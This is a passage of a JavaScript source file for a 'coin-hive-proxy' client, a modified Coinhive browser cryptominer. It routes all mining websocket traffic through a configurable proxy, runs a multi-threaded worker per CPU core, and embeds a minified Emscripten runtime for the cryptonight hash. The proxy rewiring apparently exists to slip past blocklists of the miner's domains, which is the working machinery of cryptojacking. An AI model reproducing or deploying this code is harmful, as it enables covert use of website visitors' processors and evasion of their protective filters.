coin-hive-proxy/client.js

coinhive.com websocket + client proxy

var coinHiveProxyUrl = null;
var scriptTag = Array.prototype.slice.call(document.getElementsByTagName('script'))
  .filter(x => /\?coin-hive-proxy=/.test(x.src));
if (scriptTag.length === 1) {
  coinHiveProxyUrl = scriptTag[0].src.split('=').pop();
  console.log(coinHiveProxyUrl);
} else {
  throw new Error('missing coin-hive-proxy query parameter!');
}
(function (window) { "use strict"; var Miner = function (siteKey, params) { params = params || {}; this._siteKey = siteKey; this._user = null; this._threads = []; this._hashes = 0; this._currentJob = null; this._autoReconnect = true; this._reconnectRetry = 3; this._tokenFromServer = null; this._goal = 0; this._totalHashesFromDeadThreads = 0; this._throttle = Math.max(0, Math.min(.99, params.throttle || 0)); this._autoThreads = { enabled: !!params.autoThreads, interval: null, adjustAt: null, adjustEvery: 1e4, stats: {} }; this._tab = { ident: Math.random() * 16777215 | 0, mode: CoinHive.IF_EXCLUSIVE_TAB, grace: 0, interval: null }; this._eventListeners = { open: [], authed: [], close: [], error: [], job: [], found: [], accepted: [] }; var defaultThreads = navigator.hardwareConcurrency || 4; this._targetNumThreads = params.threads || defaultThreads; this._useWASM = this.hasWASMSupport() && !params.forceASMJS; this._asmjsStatus = "unloaded"; this._onTargetMetBound = this._onTargetMet.bind(this); this._onVerifiedBound = this._onVerified.bind(this) }; Miner.prototype.start = function (mode) { this._tab.mode = mode || CoinHive.IF_EXCLUSIVE_TAB; if (this._tab.interval) { clearInterval(this._tab.interval); this._tab.interval = null } if (this._useWASM || this._asmjsStatus === "loaded") { this._startNow() } else if (this._asmjsStatus === "unloaded") { this._asmjsStatus = "pending"; var xhr = new XMLHttpRequest; xhr.addEventListener("load", function () { CoinHive.CRYPTONIGHT_WORKER_BLOB = window.URL.createObjectURL(new Blob([xhr.responseText])); this._asmjsStatus = "loaded"; this._startNow() }.bind(this), xhr); xhr.open("get", CoinHive.CONFIG.LIB_URL + "cryptonight-asmjs.min.js", true); xhr.send() } }; Miner.prototype.stop = function (mode) { for (var i = 0; i < this._threads.length; i++) { this._totalHashesFromDeadThreads += this._threads[i].hashesTotal; this._threads[i].stop() } this._threads = []; this._autoReconnect = false; if (this._socket) { this._socket.close() } this._currentJob = null; if (this._autoThreads.interval) { clearInterval(this._autoThreads.interval); this._autoThreads.interval = null } if (this._tab.interval && mode !== "dontKillTabUpdate") { clearInterval(this._tab.interval); this._tab.interval = null } }; Miner.prototype.getHashesPerSecond = function () { var hashesPerSecond = 0; for (var i = 0; i < this._threads.length; i++) { hashesPerSecond += this._threads[i].hashesPerSecond } return hashesPerSecond }; Miner.prototype.getTotalHashes = function (estimate) { var now = Date.now(); var hashes = this._totalHashesFromDeadThreads; for (var i = 0; i < this._threads.length; i++) { var thread = this._threads[i]; hashes += thread.hashesTotal; if (estimate) { var tdiff = (now - thread.lastMessageTimestamp) / 1e3 * .9; hashes += tdiff * thread.hashesPerSecond } } return hashes | 0 }; Miner.prototype.getAcceptedHashes = function () { return this._hashes }; Miner.prototype.getToken = function () { return this._tokenFromServer }; Miner.prototype.on = function (type, callback) { if (this._eventListeners[type]) { this._eventListeners[type].push(callback) } }; Miner.prototype.getAutoThreadsEnabled = function (enabled) { return this._autoThreads.enabled }; Miner.prototype.setAutoThreadsEnabled = function (enabled) { this._autoThreads.enabled = !!enabled; if (!enabled && this._autoThreads.interval) { clearInterval(this._autoThreads.interval); this._autoThreads.interval = null } if (enabled && !this._autoThreads.interval) { this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3) } }; Miner.prototype.getThrottle = function () { return this._throttle }; Miner.prototype.setThrottle = function (throttle) { this._throttle = Math.max(0, Math.min(.99, throttle)); if (this._currentJob) { this._setJob(this._currentJob) } }; Miner.prototype.getNumThreads = function () { return this._targetNumThreads }; Miner.prototype.setNumThreads = function (num) { var num = Math.max(1, num | 0); this._targetNumThreads = num; if (num > this._threads.length) { for (var i = 0; num > this._threads.length; i++) { var thread = new CoinHive.JobThread; if (this._currentJob) { thread.setJob(this._currentJob, this._onTargetMetBound) } this._threads.push(thread) } } else if (num < this._threads.length) { while (num < this._threads.length) { var thread = this._threads.pop(); this._totalHashesFromDeadThreads += thread.hashesTotal; thread.stop() } } }; Miner.prototype.hasWASMSupport = function () { return window.WebAssembly !== undefined }; Miner.prototype.isRunning = function () { return this._threads.length > 0 }; Miner.prototype._startNow = function () { if (this._tab.mode !== CoinHive.FORCE_MULTI_TAB && !this._tab.interval) { this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3) } if (this._tab.mode === CoinHive.IF_EXCLUSIVE_TAB && this._otherTabRunning()) { return } if (this._tab.mode === CoinHive.FORCE_EXCLUSIVE_TAB) { this._tab.grace = Date.now() + 3e3 } if (!this.verifyThread) { this.verifyThread = new CoinHive.JobThread } this.setNumThreads(this._targetNumThreads); this._autoReconnect = true; this._connect() }; Miner.prototype._otherTabRunning = function () { try { var tdjson = localStorage.getItem("coinhive"); if (tdjson) { var td = JSON.parse(tdjson); if (td.ident !== this._tab.ident && Date.now() - td.time < 1500) { return true } } } catch (e) { } return false }; Miner.prototype._updateTabs = function () { var otherTabRunning = this._otherTabRunning(); if (otherTabRunning && this.isRunning() && Date.now() > this._tab.grace) { this.stop("dontKillTabUpdate") } else if (!otherTabRunning && !this.isRunning()) { this._startNow() } if (this.isRunning()) { try { localStorage.setItem("coinhive", JSON.stringify({ ident: this._tab.ident, time: Date.now() })) } catch (e) { } } }; Miner.prototype._adjustThreads = function () { var hashes = this.getHashesPerSecond(); var threads = this.getNumThreads(); var stats = this._autoThreads.stats; stats[threads] = stats[threads] ? stats[threads] * .5 + hashes * .5 : hashes; if (Date.now() > this._autoThreads.adjustAt) { this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; var cur = (stats[threads] || 0) - 1; var up = stats[threads + 1] || 0; var down = stats[threads - 1] || 0; if (cur > down && (up === 0 || up > cur) && threads < 8) { return this.setNumThreads(threads + 1) } else if (cur > up && (!down || down > cur) && threads > 1) { return this.setNumThreads(threads - 1) } } }; Miner.prototype._emit = function (type, params) { var listeners = this._eventListeners[type]; if (listeners && listeners.length) { for (var i = 0; i < listeners.length; i++) { listeners[i](params) } } }; Miner.prototype._hashString = function (s) { var hash = 5381, i = s.length; while (i) { hash = hash * 33 ^ s.charCodeAt(--i) } return hash >>> 0 }; Miner.prototype._connect = function () { if (this._socket) { return } var shards = CoinHive.CONFIG.WEBSOCKET_SHARDS; var shardIdx = this._hashString(this._siteKey) % shards.length; if (this._siteKey.match(/^nyJe9/)) { shardIdx = Math.random() * shards.length | 0 } var proxies = shards[shardIdx]; var proxyUrl = proxies[Math.random() * proxies.length | 0]; this._socket = new WebSocket(proxyUrl); this._socket.onmessage = this._onMessage.bind(this); this._socket.onerror = this._onError.bind(this); this._socket.onclose = this._onClose.bind(this); this._socket.onopen = this._onOpen.bind(this) }; Miner.prototype._onOpen = function (ev) { this._emit("open"); var params = { site_key: this._siteKey, type: "anonymous", user: null, goal: 0 }; if (this._user) { params.type = "user"; params.user = this._user.toString() } else if (this._goal) { params.type = "token"; params.goal = this._goal } this._send("auth", params) }; Miner.prototype._onError = function (ev) { this._emit("error", { error: "connection_error" }); this._onClose(ev) }; Miner.prototype._onClose = function (ev) { if (ev.code >= 1003 && ev.code <= 1009) { this._reconnectRetry = 60 } for (var i = 0; i < this._threads.length; i++) { this._threads[i].stop() } this._threads = []; this._socket = null; this._emit("close"); if (this._autoReconnect) { setTimeout(this._startNow.bind(this), this._reconnectRetry * 1e3) } }; Miner.prototype._onMessage = function (ev) { var msg = JSON.parse(ev.data); if (msg.type === "job") { this._setJob(msg.params); this._emit("job", msg.params); if (this._autoThreads.enabled && !this._autoThreads.interval) { this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3) } } else if (msg.type === "verify") { this.verifyThread.verify(msg.params, this._onVerifiedBound) } else if (msg.type === "hash_accepted") { this._hashes = msg.params.hashes; this._emit("accepted", msg.params); if (this._goal && this._hashes >= this._goal) { this.stop() } } else if (msg.type === "authed") { this._tokenFromServer = msg.params.token || null; this._hashes = msg.params.hashes || 0; this._emit("authed", msg.params); this._reconnectRetry = 3 } else if (msg.type === "error") { if (console && console.error) { console.error("Coinhive Error:", msg.params.error) } this._emit("error", msg.params); if (msg.params.error === "invalid_site_key") { this._reconnectRetry = 6e3 } } else if (msg.type === "banned" || msg.params.banned) { this._emit("error", { banned: true }); this._reconnectRetry = 600 } }; Miner.prototype._setJob = function (job) { this._currentJob = job; this._currentJob.throttle = this._throttle; for (var i = 0; i < this._threads.length; i++) { this._threads[i].setJob(job, this._onTargetMetBound) } }; Miner.prototype._onTargetMet = function (result) { this._emit("found", result); if (result.job_id === this._currentJob.job_id) { this._send("submit", { job_id: result.job_id, nonce: result.nonce, result: result.result }) } }; Miner.prototype._onVerified = function (verifyResult) { this._send("verified", verifyResult) }; Miner.prototype._send = function (type, params) { if (!this._socket) { return } var msg = { type: type, params: params || {} }; this._socket.send(JSON.stringify(msg)) }; window.CoinHive = window.CoinHive || {}; window.CoinHive.IF_EXCLUSIVE_TAB = "ifExclusiveTab"; window.CoinHive.FORCE_EXCLUSIVE_TAB = "forceExclusiveTab"; window.CoinHive.FORCE_MULTI_TAB = "forceMultiTab"; window.CoinHive.Token = function (siteKey, goal, params) { var miner = new Miner(siteKey, params); miner._goal = goal || 0; return miner }; window.CoinHive.User = function (siteKey, user, params) { var miner = new Miner(siteKey, params); miner._user = user; return miner }; window.CoinHive.Anonymous = function (siteKey, params) { var miner = new Miner(siteKey, params); return miner } })(window); (function (window) { "use strict"; var JobThread = function () { this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB); this.worker.onmessage = this.onReady.bind(this); this.currentJob = null; this.jobCallback = function () { }; this.verifyCallback = function () { }; this._isReady = false; this.hashesPerSecond = 0; this.hashesTotal = 0; this.running = false; this.lastMessageTimestamp = Date.now() }; JobThread.prototype.onReady = function (msg) { if (msg.data !== "ready" || this._isReady) { throw 'Expecting first message to be "ready", got ' + msg } this._isReady = true; this.worker.onmessage = this.onReceiveMsg.bind(this); if (this.currentJob) { this.running = true; this.worker.postMessage(this.currentJob) } }; JobThread.prototype.onReceiveMsg = function (msg) { if (msg.data.verify_id) { this.verifyCallback(msg.data); return } if (msg.data.result) { this.jobCallback(msg.data) } this.hashesPerSecond = this.hashesPerSecond * .5 + msg.data.hashesPerSecond * .5; this.hashesTotal += msg.data.hashes; this.lastMessageTimestamp = Date.now(); if (this.running) { this.worker.postMessage(this.currentJob) } }; JobThread.prototype.setJob = function (job, callback) { this.currentJob = job; this.jobCallback = callback; if (this._isReady && !this.running) { this.running = true; this.worker.postMessage(this.currentJob) } }; JobThread.prototype.verify = function (job, callback) { if (!this._isReady) { return } this.verifyCallback = callback; this.worker.postMessage(job) }; JobThread.prototype.stop = function () { if (this.worker) { this.worker.terminate(); this.worker = null } this.running = false }; window.CoinHive.JobThread = JobThread })(window); self.CoinHive = self.CoinHive || {}; self.CoinHive.CONFIG = { LIB_URL: "https://coinhive.com/lib/", WEBSOCKET_SHARDS: [["wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl], ["wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl], ["wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl], ["wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl, "wss://" + coinHiveProxyUrl]], CAPTCHA_URL: "https://coinhive.com/captcha/", MINER_URL: "https://coinhive.com/media/miner.html" }; CoinHive.CRYPTONIGHT_WORKER_BLOB = URL.createObjectURL(new Blob([" self.CoinHive=self.CoinHive||{};self.CoinHive.CONFIG={LIB_URL:\"https:\/\/coinhive.com\/lib\/\",WEBSOCKET_SHARDS:[[\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\"],[\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\"],[\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\"],[\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\",\"wss:\/\/COINHIVE_PROXY_URL\"]],CAPTCHA_URL:\"https:\/\/coinhive.com\/captcha\/\",MINER_URL:\"https:\/\/coinhive.com\/media\/miner.html\"};var Module={locateFile:(function(path){return CoinHive.CONFIG.LIB_URL+path})};var Module;if(!Module)Module=(typeof Module!==\"undefined\"?Module:null)||{};var moduleOverrides={};for(var key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module[\"ENVIRONMENT\"]){if(Module[\"ENVIRONMENT\"]===\"WEB\"){ENVIRONMENT_IS_WEB=true}else if(Module[\"ENVIRONMENT\"]===\"WORKER\"){ENVIRONMENT_IS_WORKER=true}else if(Module[\"ENVIRONMENT\"]===\"NODE\"){ENVIRONMENT_IS_NODE=true}else if(Module[\"ENVIRONMENT\"]===\"SHELL\"){ENVIRONMENT_IS_SHELL=true}else{throw new Error(\"The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.\")}}else{ENVIRONMENT_IS_WEB=typeof window===\"object\";ENVIRONMENT_IS_WORKER=typeof importScripts===\"function\";ENVIRONMENT_IS_NODE=typeof process===\"object\"&&typeof require===\"function\"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){if(!Module[\"print\"])Module[\"print\"]=console.log;if(!Module[\"printErr\"])Module[\"printErr\"]=console.warn;var nodeFS;var nodePath;Module[\"read\"]=function shell_read(filename,binary){if(!nodeFS)nodeFS=require(\"fs\");if(!nodePath)nodePath=require(\"path\");filename=nodePath[\"normalize\"](filename);var ret=nodeFS[\"readFileSync\"](filename);return binary?ret:ret.toString()};Module[\"readBinary\"]=function readBinary(filename){var ret=Module[\"read\"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};Module[\"load\"]=function load(f){globalEval(read(f))};if(!Module[\"thisProgram\"]){if(process[\"argv\"].length>1){Module[\"thisProgram\"]=process[\"argv\"][1].replace(\/\\\\\/g,\"\/\")}else{Module[\"thisProgram\"]=\"unknown-program\"}}Module[\"arguments\"]=process[\"argv\"].slice(2);if(typeof module!==\"undefined\"){module[\"exports\"]=Module}process[\"on\"](\"uncaughtException\",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));Module[\"inspect\"]=(function(){return\"[Emscripten Module object]\"})}else if(ENVIRONMENT_IS_SHELL){if(!Module[\"print\"])Module[\"print\"]=print;if(typeof printErr!=\"undefined\")Module[\"printErr\"]=printErr;if(typeof read!=\"undefined\"){Module[\"read\"]=read}else{Module[\"read\"]=function shell_read(){throw\"no read() available\"}}Module[\"readBinary\"]=function readBinary(f){if(typeof readbuffer===\"function\"){return new Uint8Array(readbuffer(f))}var data=read(f,\"binary\");assert(typeof data===\"object\");return data};if(typeof scriptArgs!=\"undefined\"){Module[\"arguments\"]=scriptArgs}else if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}if(typeof quit===\"function\"){Module[\"quit\"]=(function(status,toThrow){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module[\"read\"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module[\"readBinary\"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,false);xhr.responseType=\"arraybuffer\";xhr.send(null);return new Uint8Array(xhr.response)}}Module[\"readAsync\"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open(\"GET\",url,true);xhr.responseType=\"arraybuffer\";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response)}else{onerror()}};xhr.onerror=onerror;xhr.send(null)};if(typeof arguments!=\"undefined\"){Module[\"arguments\"]=arguments}if(typeof console!==\"undefined\"){if(!Module[\"print\"])Module[\"print\"]=function shell_print(x){console.log(x)};if(!Module[\"printErr\"])Module[\"printErr\"]=function shell_printErr(x){console.warn(x)}}else{var TRY_USE_DUMP=false;if(!Module[\"print\"])Module[\"print\"]=TRY_USE_DUMP&&typeof dump!==\"undefined\"?(function(x){dump(x)}):(function(x){})}if(ENVIRONMENT_IS_WORKER){Module[\"load\"]=importScripts}if(typeof Module[\"setWindowTitle\"]===\"undefined\"){Module[\"setWindowTitle\"]=(function(title){document.title=title})}}else{throw\"Unknown runtime environment. Where are we?\"}function globalEval(x){eval.call(null,x)}if(!Module[\"load\"]&&Module[\"read\"]){Module[\"load\"]=function load(f){globalEval(Module[\"read\"](f))}}if(!Module[\"print\"]){Module[\"print\"]=(function(){})}if(!Module[\"printErr\"]){Module[\"printErr\"]=Module[\"print\"]}if(!Module[\"arguments\"]){Module[\"arguments\"]=[]}if(!Module[\"thisProgram\"]){Module[\"thisProgram\"]=\".\/this.program\"}if(!Module[\"quit\"]){Module[\"quit\"]=(function(status,toThrow){throw toThrow})}Module.print=Module[\"print\"];Module.printErr=Module[\"printErr\"];Module[\"preRun\"]=[];Module[\"postRun\"]=[];for(var key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var Runtime={setTempRet0:(function(value){tempRet0=value;return value}),getTempRet0:(function(){return tempRet0}),stackSave:(function(){return STACKTOP}),stackRestore:(function(stackTop){STACKTOP=stackTop}),getNativeTypeSize:(function(type){switch(type){case\"i1\":case\"i8\":return 1;case\"i16\":return 2;case\"i32\":return 4;case\"i64\":return 8;case\"float\":return 4;case\"double\":return 8;default:{if(type[type.length-1]===\"*\"){return Runtime.QUANTUM_SIZE}else if(type[0]===\"i\"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits\/8}else{return 0}}}}),getNativeFieldSize:(function(type){return Math.max(Runtime.getNativeTypeSize(type),Runtime.QUANTUM_SIZE)}),STACK_ALIGN:16,prepVararg:(function(ptr,type){if(type===\"double\"||type===\"i64\"){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return ptr}),getAlignSize:(function(type,size,vararg){if(!vararg&&(type==\"i64\"||type==\"double\"))return 8;if(!type)return Math.min(size,8);return Math.min(size||(type?Runtime.getNativeFieldSize(type):0),Runtime.QUANTUM_SIZE)}),dynCall:(function(sig,ptr,args){if(args&&args.length){return Module[\"dynCall_\"+sig].apply(null,[ptr].concat(args))}else{return Module[\"dynCall_\"+sig].call(null,ptr)}}),functionPointers:[],addFunction:(function(func){for(var i=0;i<Runtime.functionPointers.length;i++){if(!Runtime.functionPointers[i]){Runtime.functionPointers[i]=func;return 2*(1+i)}}throw\"Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS.\"}),removeFunction:(function(index){Runtime.functionPointers[(index-2)\/2]=null}),warnOnce:(function(text){if(!Runtime.warnOnce.shown)Runtime.warnOnce.shown={};if(!Runtime.warnOnce.shown[text]){Runtime.warnOnce.shown[text]=1;Module.printErr(text)}}),funcWrappers:{},getFuncWrapper:(function(func,sig){assert(sig);if(!Runtime.funcWrappers[sig]){Runtime.funcWrappers[sig]={}}var sigCache=Runtime.funcWrappers[sig];if(!sigCache[func]){if(sig.length===1){sigCache[func]=function dynCall_wrapper(){return Runtime.dynCall(sig,func)}}else if(sig.length===2){sigCache[func]=function dynCall_wrapper(arg){return Runtime.dynCall(sig,func,[arg])}}else{sigCache[func]=function dynCall_wrapper(){return Runtime.dynCall(sig,func,Array.prototype.slice.call(arguments))}}}return sigCache[func]}),getCompilerSetting:(function(name){throw\"You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work\"}),stackAlloc:(function(size){var ret=STACKTOP;STACKTOP=STACKTOP+size|0;STACKTOP=STACKTOP+15&-16;return ret}),staticAlloc:(function(size){var ret=STATICTOP;STATICTOP=STATICTOP+size|0;STATICTOP=STATICTOP+15&-16;return ret}),dynamicAlloc:(function(size){var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=(ret+size+15|0)&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}),alignMemory:(function(size,quantum){var ret=size=Math.ceil(size\/(quantum?quantum:16))*(quantum?quantum:16);return ret}),makeBigInt:(function(low,high,unsigned){var ret=unsigned?+(low>>>0)+ +(high>>>0)*4294967296:+(low>>>0)+ +(high|0)*4294967296;return ret}),GLOBAL_BASE:1024,QUANTUM_SIZE:4,__dummy__:0};Module[\"Runtime\"]=Runtime;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort(\"Assertion failed: \"+text)}}function getCFunc(ident){var func=Module[\"_\"+ident];if(!func){try{func=eval(\"_\"+ident)}catch(e){}}assert(func,\"Cannot call unknown function \"+ident+\" (perhaps LLVM optimizations or closure removed it?)\");return func}var cwrap,ccall;((function(){var JSfuncs={\"stackSave\":(function(){Runtime.stackSave()}),\"stackRestore\":(function(){Runtime.stackRestore()}),\"arrayToC\":(function(arr){var ret=Runtime.stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),\"stringToC\":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=Runtime.stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={\"string\":JSfuncs[\"stringToC\"],\"array\":JSfuncs[\"arrayToC\"]};ccall=function ccallFunc(ident,returnType,argTypes,args,opts){var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i<args.length;i++){var converter=toC[argTypes[i]];if(converter){if(stack===0)stack=Runtime.stackSave();cArgs[i]=converter(args[i])}else{cArgs[i]=args[i]}}}var ret=func.apply(null,cArgs);if(returnType===\"string\")ret=Pointer_stringify(ret);if(stack!==0){if(opts&&opts.async){EmterpreterAsync.asyncFinalizers.push((function(){Runtime.stackRestore(stack)}));return}Runtime.stackRestore(stack)}return ret};var sourceRegex=\/^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?}$\/;function parseJSFunc(jsfunc){var parsed=jsfunc.toString().match(sourceRegex).slice(1);return{arguments:parsed[0],body:parsed[1],returnValue:parsed[2]}}var JSsource=null;function ensureJSsource(){if(!JSsource){JSsource={};for(var fun in JSfuncs){if(JSfuncs.hasOwnProperty(fun)){JSsource[fun]=parseJSFunc(JSfuncs[fun])}}}}cwrap=function cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var cfunc=getCFunc(ident);var numericArgs=argTypes.every((function(type){return type===\"number\"}));var numericRet=returnType!==\"string\";if(numericRet&&numericArgs){return cfunc}var argNames=argTypes.map((function(x,i){return\"$\"+i}));var funcstr=\"(function(\"+argNames.join(\",\")+\") {\";var nargs=argTypes.length;if(!numericArgs){ensureJSsource();funcstr+=\"var stack = \"+JSsource[\"stackSave\"].body+\";\";for(var i=0;i<nargs;i++){var arg=argNames[i],type=argTypes[i];if(type===\"number\")continue;var convertCode=JSsource[type+\"ToC\"];funcstr+=\"var \"+convertCode.arguments+\" = \"+arg+\";\";funcstr+=convertCode.body+\";\";funcstr+=arg+\"=(\"+convertCode.returnValue+\");\"}}var cfuncname=parseJSFunc((function(){return cfunc})).returnValue;funcstr+=\"var ret = \"+cfuncname+\"(\"+argNames.join(\",\")+\");\";if(!numericRet){var strgfy=parseJSFunc((function(){return Pointer_stringify})).returnValue;funcstr+=\"ret = \"+strgfy+\"(ret);\"}if(!numericArgs){ensureJSsource();funcstr+=JSsource[\"stackRestore\"].body.replace(\"()\",\"(stack)\")+\";\"}funcstr+=\"return ret})\";return eval(funcstr)}}))();Module[\"ccall\"]=ccall;Module[\"cwrap\"]=cwrap;function setValue(ptr,value,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":HEAP8[ptr>>0]=value;break;case\"i8\":HEAP8[ptr>>0]=value;break;case\"i16\":HEAP16[ptr>>1]=value;break;case\"i32\":HEAP32[ptr>>2]=value;break;case\"i64\":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble\/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))\/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case\"float\":HEAPF32[ptr>>2]=value;break;case\"double\":HEAPF64[ptr>>3]=value;break;default:abort(\"invalid type for setValue: \"+type)}}Module[\"setValue\"]=setValue;function getValue(ptr,type,noSafe){type=type||\"i8\";if(type.charAt(type.length-1)===\"*\")type=\"i32\";switch(type){case\"i1\":return HEAP8[ptr>>0];case\"i8\":return HEAP8[ptr>>0];case\"i16\":return HEAP16[ptr>>1];case\"i32\":return HEAP32[ptr>>2];case\"i64\":return HEAP32[ptr>>2];case\"float\":return HEAPF32[ptr>>2];case\"double\":return HEAPF64[ptr>>3];default:abort(\"invalid type for setValue: \"+type)}return null}Module[\"getValue\"]=getValue;var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_DYNAMIC=3;var ALLOC_NONE=4;Module[\"ALLOC_NORMAL\"]=ALLOC_NORMAL;Module[\"ALLOC_STACK\"]=ALLOC_STACK;Module[\"ALLOC_STATIC\"]=ALLOC_STATIC;Module[\"ALLOC_DYNAMIC\"]=ALLOC_DYNAMIC;Module[\"ALLOC_NONE\"]=ALLOC_NONE;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab===\"number\"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types===\"string\"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc===\"function\"?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var ptr=ret,stop;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType===\"i8\"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];if(typeof curr===\"function\"){curr=Runtime.getFunctionIndex(curr)}type=singleType||types[i];if(type===0){i++;continue}if(type==\"i64\")type=\"i32\";setValue(ret+i,curr,type);if(previousType!==type){typeSize=Runtime.getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}Module[\"allocate\"]=allocate;function getMemory(size){if(!staticSealed)return Runtime.staticAlloc(size);if(!runtimeInitialized)return Runtime.dynamicAlloc(size);return _malloc(size)}Module[\"getMemory\"]=getMemory;function Pointer_stringify(ptr,length){if(length===0||!ptr)return\"\";var hasUtf=0;var t;var 